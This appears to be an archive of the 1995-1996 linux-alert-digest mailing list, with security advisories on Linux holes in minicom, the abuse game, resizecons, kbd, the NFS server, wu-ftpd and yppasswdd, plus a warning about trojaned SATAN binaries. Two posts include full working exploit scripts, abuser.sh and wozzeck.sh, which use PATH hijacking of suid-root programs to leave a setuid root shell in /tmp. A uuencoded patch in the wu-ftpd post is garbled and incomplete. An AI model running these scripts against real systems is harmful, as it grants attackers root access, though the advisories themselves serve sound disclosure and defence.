There is a problem present in minicom 1.72 and earlier versions that
allows local users to execute programs under whatever uid or gid minicom
runs. People often make minicom suid or sgid to some ID because they
keep their tty log files in the UUCP spool directory or something like
this. Please check whether your minicom binary runs suid or sgid, and
consider upgrading.
Miquel van Smoorenburg has fixed this in his latest version available at
http://sunsite.unc.edu/pub/Linux/apps/comm/minicom-1.74.tar.gz
Note that this is *not* the same problem as the one discussed half a
year ago. I will send a more detailed explanation to linux-security
within the next few days.
Cheers
Olaf
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
iQCVAwUBMRAuTOFnVHXv40etAQFXZQP/TDNpB0Gyi64hDMsf2A2FqC6FyjSg7ZVT
7PwcTuH3Zu6Vh6qDQ9VpWYjpCxBLRd0ho6A4scCbQx90yGTuWwp6McMcYPyZlREo
0IvYW5B6MkBA0aeuJS1dNEotRfZhEMmzK50tvhXyaw+iRnlzOcX7dgMPsZgoGz/o
ADCBsM5Vrnk=
=SQva
- -----END PGP SIGNATURE-----
------------------------------
From: David J Meltzer
Date: Fri, 2 Feb 1996 22:28:30 -0500 (EST)
Subject: abuse Red Hat 2.1 security hole
There is a security hole in Red Hat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root. The abuse.console program
loads its files without absolute pathnames, assuming the user is running
abuse from the /usr/lib/games/abuse directory. One of these files in the
undrv program, which abuse executes as root. If the user is not in the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root.
If abuse.console needs to be run by users other than root at the console,
provisions need to be made in the code to not execute or load any files
as root.
Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/lib/games/abuse/abuse.console
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: abuse.console runs undrv without an absolute
pathname while executing as root, allowing
a user to substitute the real undrv with
an arbitrary program.
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
------------------------------
From: David J Meltzer
Date: Fri, 2 Feb 1996 22:31:23 -0500 (EST)
Subject: resizecons Red Hat 2.1 security hole
There is a security hole in Red Hat 2.1, which installs the program
/usr/bin/resizecons suid root. The resizecons program allows a user
to change the videmode of the console. During this process, it runs
the program restoretextmode without an absolute pathname, assuming the
correct version will be found in the path, while running with root
privileges. It then executes setfont in the same manner. By setting
the path to find a rogue restoretextmode, a user can execute an arbitrary
program as root.
As a more amusing aside, the file /tmp/selection.pid is read and the
pid contained within is sent a SIGWINCH, allowing a user on the system
to force a redraw of the screen to an arbitrary process (that handles
SIGWINCH calls) on the machine.
If /usr/bin/resizecons needs to be run by users other than root at the
console, provisions need to be made in the code to execute the outside
utilities with absolute pathnames, and to check access rights on files
before opening.
Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Temporary Patch: chmod -s /usr/bin/resizecons
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: resizecons runs restoretextmode without an
absolute pathname while executing as root,
allowing a user to substitute the real
program with arbitrary commands.
Exploit:
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons
# to create a suid root shell in /tmp/wozz on a
# linux Red Hat 2.1 system.
#
# by Dave M. ([email protected])
#
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to
Wozz. Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
------------------------------
End of linux-alert-digest V2 #3
*******************************
linux-alert-digest/v02.n004100664 1767 1767 5443 6111042021 14645 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V2 #4
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Friday, 16 February 1996 Volume 02 : Number 004
[linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
[linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
----------------------------------------------------------------------
From: Marc Ewing
Date: Tue, 06 Feb 1996 15:26:03 -0500
Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
- -----BEGIN PGP SIGNED MESSAGE-----
Content-Type: text/plain; charset=us-ascii
There is a security hole in the kbd package as shipped with Red Hat Linux
2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user
to gain root privileges. All users should upgrade immediately:
Intel:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386.
rpm
Alpha:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a
xp.rpm
MD5 sums:
34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm
90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm
- - -Marc
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO
NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z
o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y
qD6LwZYBpHA=
=2/65
- -----END PGP SIGNATURE-----
------------------------------
From: Marc Ewing
Date: Tue, 06 Feb 1996 15:26:03 -0500
Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
[Mod: Apologies for the delays on some of the recent messages: I'm
having minor mail delivery problems here. --Jeff]
- -----BEGIN PGP SIGNED MESSAGE-----
Content-Type: text/plain; charset=us-ascii
There is a security hole in the kbd package as shipped with Red Hat Linux
2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user
to gain root privileges. All users should upgrade immediately:
Intel:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386.
rpm
Alpha:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a
xp.rpm
MD5 sums:
34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm
90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm
- - -Marc
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO
NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z
o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y
qD6LwZYBpHA=
=2/65
- -----END PGP SIGNATURE-----
------------------------------
End of linux-alert-digest V2 #4
*******************************
linux-alert-digest/1995/ 42775 1767 1767 0 6213304670 14157 5ustar majdommajdomlinux-alert-digest/1995/v01.n001100664 1767 1767 3745 5730532223 15271 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #1
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Sunday, 12 March 1995 Volume 01 : Number 001
NFS deamon can be killed by normal users.
Bogus post to Linux Alert
----------------------------------------------------------------------
From: [email protected]
Date: Sat, 4 Mar 1995 17:18:35 +0100 (MET)
Subject: NFS deamon can be killed by normal users.
Hi everyone,
I just subscribed, and now I have a place where I can leave this:
The nfs deamons can be killed by any user. This is because the
nfs deamon takes on the userid of the current request. It then
remains at this userID untill the next request.
The first fix would be to change back to uid root after serving
a request, but this would only reduce the time-span where an attack
might succeed. A true solution would allow the nfsd process to
indicate to the kernel that although it has the euid of a user, it
doesn't want to be considered "owned" by that user.
Roger Wolff.
------------------------------
From: [email protected] (Olaf Kirch)
Date: Mon, 6 Mar 1995 10:33:48 +0100 (MET)
Subject: Bogus post to Linux Alert
Hello everyone,
Yesterday, I sent someone's report about a hole in the Linux NFS daemon
out to this list.
The facts are:
* This hole has existed for some time
* It has been fixed a long time ago
When I approved this mail, I thought it was for the discussion list.
I can only say to my defense that I have been handling exactly 1362
pieces of list-related mail over the weekend, so the mind gets a little
mushroomy. Still, this should not have happened.
Apologies to everyone
Olaf
- --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
------------------------------
End of linux-alert-digest V1 #1
*******************************
linux-alert-digest/1995/v01.n002100664 1767 1767 10470 5733240220 15277 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #2
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Monday, 20 March 1995 Volume 01 : Number 002
NFS Vulnerability
----------------------------------------------------------------------
From: [email protected] (Olaf Kirch)
Date: Sun, 12 Mar 1995 18:04:07 +0100 (MET)
Subject: NFS Vulnerability
ALERT - Announcement of the Linux Emergency Response Team :)
The current Linux NFS server (version 2.0) has a couple of security problems
some of which have been known for a while and supposedly been fixed a long
time ago. However, none of the versions I found on the usual FTP sites had
these fixes incorporated.
On top of that, I discovered a few days ago that you can easily trick it by
guessing NFS file handles. This particularly nasty hole allows anyone
to mount your entire file system and view all files (kiss your shadow
protected passwords goodbye :->). I have written a sample program that
demonstrates this hole and will release it at a later date.
Release 2.1 of the Universal NFS server fixes these security holes.
It does the following things:
* Authenticate NFS file handles on every request. Support
for it was there, but didn't work in all cases.
Authentication code is not yet optimized. Especially
for sites that have wildcard names in their /etc/exports,
this may cause performance problems. I'll be working
on a revamped authentication code that does this faster.
* Use setfsuid/setfsgid for setting owner/group on file
access rather than seteuid. With the old seteuid method,
any user on the system could kill the server.
The setfsuid/setfsgid functions were not implemented
in libc-4.6.27, so I added a small assembler file
that implements them. libc-4.6.29 seems to have them,
though.
There seem to have been patches that fixed this particular
bug before, but they never seem to have made it to any
FTP server.
* Implement root_squash and no_root_squash mount options.
There was a fix for this posted to Usenet recently
which implemented the root_squash option. Release 2.1
obsoletes this patch.
The complete source is available as nfs-server-2.1.tar.gz from
linux.nrao.edu in /pub/people/okir/nfsd. It should compile out of
the box, and reportedly works with gcc-ELF, too.
In the same directory, you will find a binary release of portmap-3,
written by Wietse Venema. I highly recommend you use it, because
older versions of portmap have a couple of problems that can result in
users on your system gaining root access and/or foreign machines mounting
directories from your system via NFS.
Attached to the end of this message, you find the MD5 and PGP signatures
for both files. The PGP signature can be verified with my public key (you
can obtain the key by fingering [email protected]). To verify the PGP
signatures, save each of them to a separate file and pipe them into pgp.
Regards,
Olaf
- --------------------- linux-security BLURB -------------------------
To find out about the linux-security and linux-alert mailing lists, send
mail to [email protected] with the following commands in the message
body:
help
lists
end
The mailing lists are also archived at linux.nrao.edu; majordomo's help
text should tell you how to retrieve them.
- ----------------------- MD5 signatures -----------------------------
60a6a6983b52e9cd469cbf93dc285bc6 nfs-server-2.1.tar.gz
2201659365250c78766c9b123a598699 portmap-3.tar.gz
- ---------------------- PGP signature for nfsd ----------------------
- -----BEGIN PGP MESSAGE-----
Version: 2.6
iQCVAgUAL2JZbeFnVHXv40etAQGsPwQAoHNjpnRuqQfbFS61RM4K6SpLH5dp71+M
3mEKt/lrv9qZwz+3uQmmLmE4l2Ycg+nOnXTBCDRZPxiwwKYhQO3MPrTNslkhHNi8
FpKAWl1x5yuj4oULW+JnJe15tT9kyk0teoX1bxO4eIxB18jOyxrTHfJ3is/2xmJp
JOfwWWk+9Kk=
=iL95
- -----END PGP MESSAGE-----
- -------------------- PGP signature for portmap ---------------------
- -----BEGIN PGP MESSAGE-----
Version: 2.6
iQCVAgUAL2MUvuFnVHXv40etAQHhuwP/SSbfIK3AFMUulqibxC6WH24qzpEMYQMs
H2KTDQONkZCrfIctyTnjMHA/V81qKki3LodrlVafs3v/M5PV4J5pvCnrmAZDbU6m
7z2o+SjFGFS1T3/UIj9uAPyJ5W5TPjzNnkTBj8SgyyL7pCpiKG5CsYEEWK0MiMyA
P2bqC07ZfAw=
=Wb6T
- -----END PGP MESSAGE-----
------------------------------
End of linux-alert-digest V1 #2
*******************************
linux-alert-digest/1995/v01.n003100664 1767 1767 23412 5742431600 15304 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #3
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Tuesday, 11 April 1995 Volume 01 : Number 003
security hole in old versions of at for Linux
Hash signs in hosts.equiv
Trojan in Linux Satan Binaries
(fwd) Trojan in Linux Satan Binaries!
----------------------------------------------------------------------
From: [email protected] (Thomas Koenig)
Date: Mon, 3 Apr 1995 22:59:00 +0200 (MET DST)
Subject: security hole in old versions of at for Linux
I've just been informed that earlier versions of my at/atrun package
for Linux had a bug which allowed root access for any authorized user
of the system.
This bug can only be exploited if the user can edit a job he's
submitted to the atrun queue.
If 'at -V' shows a version earlier than 2.7, or if the directory
/var/spool/atjobs (or, possibly, /usr/spool/atjobs) is world - executable,
you are vulnerable.
In that case, upgrade your system to at 2.7 or 2.7a immediately.
In the meantime, changing the permissions of /var/spool/atjobs to 700
will prevent unauthorized root access; this may also render the
'at' system unusable.
Non - vulnerable versions of at have been around for about 10
months, and have been included in the standard distributions.
- --
Thomas Koenig, [email protected], [email protected].
The joy of engineering is to find a straight line on a double
logarithmic diagram.
------------------------------
From: [email protected] (Olaf Kirch)
Date: Fri, 7 Apr 1995 18:05:43 +0200 (MET DST)
Subject: Hash signs in hosts.equiv
- -----BEGIN PGP SIGNED MESSAGE-----
Hello,
As has been reported, the ruserok() function in libc (up to at least
version 4.6.27, didn't check the latest ones) does not take care of
hash signs in hosts.equiv and .rhosts. If someone injects a bogus PTR
record into their DNS, this could be dangerous for some extremely old
Linux systems. Most machines I've seen however run a version of rlogin
that does a spoof check on the host name obtained from gethostbyaddr.
At the least, version 5.53 of rlogind is immune against this type of
attack. You can check which version you have by running the strings command
on the binary. As I don't have the source for rshd handy at the moment,
I can't tell which versions of rshd are vulnerable and which aren't.
If you are not sure if your rlogind/rshd binary is vulnerable, you
have the following options:
* Put the line
nospoof on
in your /etc/host.conf file. This rejects all hosts who have
no or broken reverse mapping records in their DNS.
* If you don't want to block all services for hosts with broken
reverse mapping, get a newer version of tcpd (tcp_wrapper-6.3 or
later) and add a line like this to /etc/hosts.deny:
ALL except ftpd: UNKNOWN
This rejects all hosts with missing or bad PTR entries for all
services except FTP. Of course, you also have to make sure
inetd actually invokes tcpd for this service. The appropriate
entry in /etc/inetd.conf looks like this:
login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind
Regards,
Olaf
- - --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
- -----BEGIN PGP SIGNATURE-----
Version: 2.6
iQCVAgUBL4ViqeFnVHXv40etAQGbcQP+OTewrPRUBpX374nMlLzk0h+Pc6zCpc9t
NhEjvo1uQ23q0orCBszIVc88yIBXGGIOwuvik+zYXcZl5N/cA+OhdrDokaQsR4lV
xOWPCINis9LApZCxbZi5YswrdCH1Lzn2xSid3XEOa9qbrJKDuu4PlGQfSS1LQHQ0
Qk2w9L/5qSw=
=wZGH
- -----END PGP SIGNATURE-----
------------------------------
From: "S. Joel Katz"
Date: Sat, 8 Apr 1995 09:41:03 -0400 (EDT)
Subject: Trojan in Linux Satan Binaries
[mod: I could not verify these claims in any way; nor could I verify
if this mail is really from Joel Katz because the message
was not PGP-signed. Therefore, I'm not signing this post to
linux-alert either. You should take this warning serious
nevertheless. --okir]
- ----------------------------------------------------------------------------
SECURITY ALERT -- Trojan in Linux Satan Binaries
- ----------------------------------------------------------------------------
It appears that someone with physical access to my computer inserted
a Trojan into my release of the Linux Satan binaries. This definitely
affects the versions downloaded from ftp.epinet.com and may affect those
from other sites. At least 400 sites have ftp'd the trojan.
This Trojan has not been exploited and will not be used.
Briefly, if you downloaded Linux Satan Binaries from anywhere, to be
safe, create a user named "suser" in your /etc/passwd file, set his password
to "*" and his user number to 9955. This will disable the Trojan completely
and Satan can still be used.
You can obtain the latest info by fingering
"[email protected]". Mail regarding the trojan should be sent to the
same address.
Someone I know wanted to make some bizarre point about tools like
Satan being useless in the hands of the technically unskilled. He obtained
physical access to my machine when I was not in my lab and obtained my
password from a log. (Stupid me, when I was having PPP problems, I told chat
to log everything -- including my password!) Unfortunately, my PPP password
is my Panix password (by their design).
This person has no intentions of using the Trojan and only wanted to
make a statement, not compromise people's security. When I checked for other
tampered files by comparing my system to my last backup, I noticed a copy of
the source of the trojan sitting in a directory that contains newbie help
for Usenet. It is clear that only the author of the Trojan can exploit it.
He is quite remorseful about what he has done.
I will release more details including the source shortly. Right now,
I want to give people a chance to secure their systems. If you have an
"suser" line in your /etc/passwd file, you have been attacked. Change
"suser"'s password to "*".
If you don't have such a line, add one just to be safe -- the Trojan
shuts down if "suser" already exists. Make it user number 9955, and set its
password to "*".
This problem does not affect any of the source releases. My sincere
apologies to those whose system's security may have been compromised.
Sincerely,
Joel Katz
(Address replies to [email protected])
------------------------------
From: "Giao H. Phan"
Date: Sat, 8 Apr 1995 11:11:12 -0400
Subject: (fwd) Trojan in Linux Satan Binaries!
Path: netnews.upenn.edu!news.amherst.edu!news.mtholyoke.edu!uhog.mit.edu!news.mathworks.com!panix!not-for-mail
From: [email protected] (S. Joel Katz)
Newsgroups: alt.security,comp.security.unix
Subject: Trojan in Linux Satan Binaries!
Date: 8 Apr 1995 09:46:26 -0400
Organization: PANIX Public Access Internet and Unix, NYC
Lines: 55
Message-ID: <[email protected]>
NNTP-Posting-Host: panix3.panix.com
Summary: There is a Trojan in some releases of the Linux Satan Binaries!
Keywords: Satan Trojan Security
Xref: netnews.upenn.edu alt.security:23744 comp.security.unix:15029
SECURITY ALERT -- Trojan in Linux Satan Binaries
- ----------------------------------------------------------------------------
It appears that someone with physical access to my computer inserted
a Trojan into my release of the Linux Satan binaries. This definitely
affects the versions downloaded from ftp.epinet.com and may affect those
from other sites. At least 400 sites have ftp'd the trojan.
This Trojan has not been exploited and will not be used.
Briefly, if you downloaded Linux Satan Binaries from anywhere, to be
safe, create a user named "suser" in your /etc/passwd file, set his password
to "*" and his user number to 9955. This will disable the Trojan completely
and Satan can still be used.
You can obtain the latest info by fingering
"[email protected]". Mail regarding the trojan should be sent to the
same address.
Someone I know wanted to make some bizarre point about tools like
Satan being useless in the hands of the technically unskilled. He obtained
physical access to my machine when I was not in my lab and obtained my
password from a log. (Stupid me, when I was having PPP problems, I told chat
to log everything -- including my password!) Unfortunately, my PPP password
is my Panix password (by their design).
This person has no intentions of using the Trojan and only wanted to
make a statement, not compromise people's security. When I checked for other
tampered files by comparing my system to my last backup, I noticed a copy of
the source of the trojan sitting in a directory that contains newbie help
for Usenet. It is clear that only the author of the Trojan can exploit it.
He is quite remorseful about what he has done.
I will release more details including the source shortly. Right now,
I want to give people a chance to secure their systems. If you have an
"suser" line in your /etc/passwd file, you have been attacked. Change
"suser"'s password to "*".
If you don't have such a line, add one just to be safe -- the Trojan
shuts down if "suser" already exists. Make it user number 9955, and set its
password to "*".
This problem does not affect any of the source releases. My sincere
apologies to those whose system's security may have been compromised.
Sincerely,
Joel Katz
(Address replies to [email protected])
- --
S. Joel Katz Information on Objectivism, Linux, 8031s, and atheism
[email protected] is available at http://www.panix.com/~stimpson/
- --
Casret - Pimp
Segmentation fault (core dumped) (alpha) @ concrete.resnet.upenn.edu 4000
Flames welcome as they can only mean more publicity.
------------------------------
End of linux-alert-digest V1 #3
*******************************
linux-alert-digest/1995/v01.n004100664 1767 1767 15654 5765525200 15323 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #4
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Thursday, 8 June 1995 Volume 01 : Number 004
SECURITY: problem with some wu-ftpd-2.4 binaries
Re: SECURITY: problem with some wu-ftpd-2.4 binaries
----------------------------------------------------------------------
From: [email protected] (Olaf Kirch)
Date: Wed, 31 May 95 02:49 MET DST
Subject: SECURITY: problem with some wu-ftpd-2.4 binaries
- -----BEGIN PGP SIGNED MESSAGE-----
Hi all,
There's a security hole in some Linux distributions involving
wu-ftpd-2.4. Some ftpd binaries have been compiled with a set of
defaults that allow anyone with an account on your machine to become the
root user. It appears that at least Slackware-2.0 and 2.2 are affected;
I have no information about other distributions. Anonymous FTP should
not be affected by this as long as you have only the `ls' command in
To find out if your machine is affected, ftp to your own account, log in
and enter this: quote "site exec bash -c id". If ftpd responds with
a line that says something like "uid=0(root) euid=1234(your_login)... ",
then your ftpd is vulnerable.
The obvious fix is to obtain the source of wu-ftpd-2.4 and recompile
it. The crucial part is the _PATH_EXECPATH define in src/pathnames.h.
It should NOT be set to /bin or any other regular directory. By default,
it is set to /bin/ftp-exec. Make sure this directory does not exist or
contains only harmless commands you are absolutely sure you would want
your users to execute as root.
Thomas Lundquist has posted a small patch
for src/ftpcmd.y that goes even further and disables the SITE EXEC
command altogether. It is appended at the end of this message.
All the fame goes to
Michel [email protected]
Thomas Lundquist [email protected]
Aleph One [email protected]
Have a nice day
Olaf
- - --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
- - ------------------------------------------------------------------
table
`!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 644 /tmp/DIFF
M+2TM(&9T<&-M9"YY+F]R:6<)5V5D($UA>2`S,2`P,CHP,SHP-R`Q.3DU"BLKz
M*R!F='!C;60N>0E7960@36%Y(#,Q(#`R.C`S.C4T(#$Y.34*0$`@+3$T,C&5C*&-M9"D*(&-H87(@*F-M9#L*x
M*R`@("`O*B`**R`@("`@*B!4:&4@9&5C;&%R871I;VYS(&)E;&]V(&ET(&MEw
M<'0@=&\@8F4@2!T:&4@;6]R;VX@86YD(&QO9R!H:6TN"BL@("`@("H@5&AO;6%Sp
M+DQU;F1Q=6ES=$!H:6]F+FYO($UA>2`G.34**R`@("`@*B\*("`@("`*+2`@o
M("!I9B`HPHM("`@("`@("!I9B`H:7-U<'!E2@U-3`L(&-M9"D["BT@("`@("`@a
M(&EF("AL;V=?8V]M;6%N9',I"BT@("`@("`@("`@("!S>7-L;V7,O7-L;V2@R,#`L(").o
M;R!F
Date: Wed, 31 May 1995 04:55:59 -0400
Subject: Re: SECURITY: problem with some wu-ftpd-2.4 binaries
- -----BEGIN PGP SIGNED MESSAGE-----
The post from Olaf that I just forwarded on to the linux-alert list
apparently does not checksum with his PGP signature. It is, however, a
valid alert. (I and others have verified the hole.) This PGP signature
implicitly validates Olaf's message as well.
- - --Up.
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.1
iQCVAwUBL8wu5bxzFUpUTHgFAQEy6AP+ONifLUvB53J5xkkCRVJOQVSJm1p6JRw1
r+RWAGrVxtFxTBvp9w9gfbc1kwZeW9B/R2q3VebQWAx39uMMNSvU3QXOLznssaKT
9zwTrAxt068nMcIrIeQQp50SwnHbwUoKPLRNgD9mMyBg82/x/4HZvrWMCcqc5vEC
lSmI2FbUOfA=
=z6gS
- -----END PGP SIGNATURE-----
- --
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/
------------------------------
End of linux-alert-digest V1 #4
*******************************
linux-alert-digest/1995/v01.n005100664 1767 1767 3750 5775176401 15304 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #5
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Saturday, 1 July 1995 Volume 01 : Number 005
SECURITY: problem with yppasswdd
----------------------------------------------------------------------
From: [email protected] (Olaf Kirch)
Date: Thu, 22 Jun 1995 17:09:30 +0200 (MET DST)
Subject: SECURITY: problem with yppasswdd
- -----BEGIN PGP SIGNED MESSAGE-----
I just received a user report about a hole in my implementation
of yppasswdd. Under certain circumstances, this hole lets users with a
valid account on your machine gain access to other accounts.
This bug affects all versions up to and including ypasswdd-0.6.
Note that this vulnerability affects _only_ machines who use
a) The NIS password maps
b) Manage those password maps with rpc.yppasswdd.
To plug this hole, you should obtain and install the latest
version. I have uploaded yppasswd-0.7 to the following places:
ftp.lysator.liu.se:/pub/NYS/incoming (to be moved)
ftp.mathematik.th-darmstadt.de:/pub/linux/okir
linux.nrao.edu:/pub/people/okir
The MD5 signature is:
d22e0061f80f9c28d4b12eeff42e79be yppasswd-0.7.tar.gz
Many thanks to [email protected] for reporting this bug, and
apologies to everyone for this stupid oversight
Olaf
- - --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
- -----BEGIN PGP SIGNATURE-----
Version: 2.6
iQCVAgUBL+mHSuFnVHXv40etAQEuoAP8C4xxqMugpQItaHXOMpGxj3SHnQcj9uZw
eWFnguYZtXUTaDO/qmDR7I3lMmyhmIuRJ/yS+eC9afaMsyIzf9o+PoQ/7kdbjbEK
B3kRx5cQVHcheLI1gi1YRdbJySTYAM6JtvMwIZEyRY0W5LT3swcIJhejfoXwsui0
+wjsq5DkK9o=
=Fbqa
- -----END PGP SIGNATURE-----
------------------------------
End of linux-alert-digest V1 #5
*******************************
linux-alert-digest/1995/v01.n006100664 1767 1767 17011 6010077200 15274 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #6
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Thursday, 3 August 1995 Volume 01 : Number 006
Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0
SECURITY ALERT: Dangerous hole in vacation v1.0.
----------------------------------------------------------------------
From: alex
Date: Wed, 26 Jul 1995 15:16:33 -0400 (EDT)
Subject: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0
- -----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
Cipher-3.0/deslogin-1.3 problems caused by GCC 2.7.0
July 26, 1995 15:01 EST
Copyright (C) 1995 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/544C7805 1994/07/17 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
The cipher-3.0 is a high speed DES cipher used by the deslogin(1)
(encrypted login) and deslogingw(1) (encrypted login via gateway)
protocol to perfom encryption of the session. Those who installed
GCC 2.7.0 when compiling cipher-3.0 *HAVE TO TURN OFF* all optimization.
Even with the minimum optimization level (-O) GCC 2.7.0 breaks the code
of cipher.
When compiling cipher-3.0 edit the Makefile and change
CFLAGS and LDFLAGS to "-pipe -static"
otherwise, your cipher will produce incorrect ciphertext.
The default deslogin(1) and deslogingw(1) source trees, although use the
code from the cipher-3.0 tree, have their own separate Makefile. Prior to
compiling deslogin, modify CFLAGS and LDFLAGS to "-pipe -static" and
remove optimization flags.
WARNING: IF YOUR COMPILATION BREAKS THE CODE OF THE CIPHER, YOU
MAY END UP BROADCASTING OVER THE NETWORK INFORMATION THAT
*SUPPOSED* TO BE ENCRYPTED, THEREFORE COMPROMISING THE
PASSPHRASE.
deslogin(1), deslogingw(1) and cipher(1) can be obtained from
ftp://ftp.uu.net/pub/security/des/.
